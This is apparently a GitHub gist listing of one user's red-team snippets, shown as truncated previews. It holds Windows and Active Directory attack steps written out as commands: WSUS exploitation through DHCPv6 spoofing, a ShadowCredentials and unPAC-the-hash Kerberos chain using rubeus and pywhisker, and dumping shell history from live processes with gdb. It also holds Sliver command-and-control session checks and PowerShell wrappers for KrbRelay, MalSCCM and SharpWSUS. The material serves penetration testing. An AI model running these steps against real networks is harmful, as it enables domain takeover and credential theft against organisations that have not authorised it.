zimnyaa’s gists

zimnyaa / sliver-redir.py

Last active December 23, 2022 20:17

Check live beacon URIs, certificate expiry dates and redirectors with sliver-py

	from rich.console import Console
	from rich.tree import Tree
	from rich.markdown import Markdown
	import os, asyncio
	import time
	from datetime import datetime

	import sliver, OpenSSL, ssl, urllib.parse
	from datetime import datetime
	console = Console()

zimnyaa / check-sliver.py

Created October 17, 2022 15:04

Check live sliver sessions and configs

	from rich.console import Console
	from rich.text import Text
	from rich.table import Table, Column
	from rich.markdown import Markdown
	import os, asyncio
	import time
	from datetime import datetime

	import sliver
	console = Console()

zimnyaa / pretender-wsus.sh

Created October 10, 2022 12:33

Cleartext WSUS exploitation with DHCPv6 spoofing

	# checking WSUS preferenses
	PS> reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
	PS> reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer
	### after setting up the attack click "Check for updates" button
	### set up DHCPv6 spoofing
	git clone https://github.com/RedTeamPentesting/pretender.git
	cd pretender
	sudo ./pretender -i eth0 --spoof wsus.lab.local
	### setting up the IPv6 PyWSUS fork
	git clone https://github.com/cr7pt0pl4gu3/pywsus-ipv6.git

zimnyaa / find-preload-candidates.sh

Created June 11, 2022 11:25

A simple bash oneliner to hunt for suitable LD_PRELOAD candidates on Linux.

echo 'connections';netstat -tp 2>/dev/null|grep tcp|awk '{print $7}'|cut -d '/' -f 2|uniq -c;echo 'processes';ps aux|grep -v "\\["|awk '{print $11}'|uniq -c|sort -r|head -n 5

zimnyaa / dump-history.sh

Last active August 18, 2022 15:01

Dump history from a running bash process

	#Effectively trigger history -a:

	$ gdb -p PID -batch -ex 'call maybe_append_history(get_string_value("HISTFILE"))'
	#Dump the last 10 history entries to your local terminal (pty)

	$ gdb -p PID -batch -ex 'call append_history(10, "'$(tty)'")'
	#Backup the entire history to a temporary file:

	$ gdb -p PID -batch -ex 'call write_history("/tmp/history-backup.txt")'

zimnyaa / KrbRelay.ps1

Created May 9, 2022 10:17

PowerSharpPack version of KrbRelay

	function Invoke-KrbRelay
	{

	[CmdletBinding()]
	Param (
	[String]
	$Command = ""

	)

zimnyaa / MalSCCM.ps1

Created May 9, 2022 10:07

PowerSharpPack version of MalSCCM

	function Invoke-MalSCCM
	{

	[CmdletBinding()]
	Param (
	[String]
	$Command = ""

	)

zimnyaa / SharpWSUS.ps1

Created May 9, 2022 10:06

PowerSharpPack version of SharpWSUS

	function Invoke-SharpWSUS
	{

	[CmdletBinding()]
	Param (
	[String]
	$Command = ""

	)

zimnyaa / peas-gpo.py

Last active January 11, 2023 23:58

Enumerate GPO scripts from Exchange with F-Secure/PEAS

	import peas

	client = peas.Peas()

	client.disable_certificate_verification()

	#### V CONFIG SECTION V ####


	client.set_creds({

zimnyaa / shadowunpac.sh

Created March 21, 2022 09:45

ShadowCredentials + unPAC the hash

	# getting the current ticket
	sliver (SESSION) > rubeus tgtdeleg /nowrap
	echo <ticket> \| base64 --decode > ticket.kirbi
	ticketConverter.py ticket.kirbi ticket.ccache

	# adding ms-KeyCredentialLink
	proxychains4 python3 pywhisker/pywhisker.py -k -d "domain" --target "dcagent" -u "dadmin" --action "add" --filename cert

	# requesting a ticket with ShadowCredentials
	proxychains4 python3 gettgtpkinit.py -cert-pfx ../cert.pfx -pfx-pass pass -dc-ip dc1.domain domain/dcagent dcagent.ccache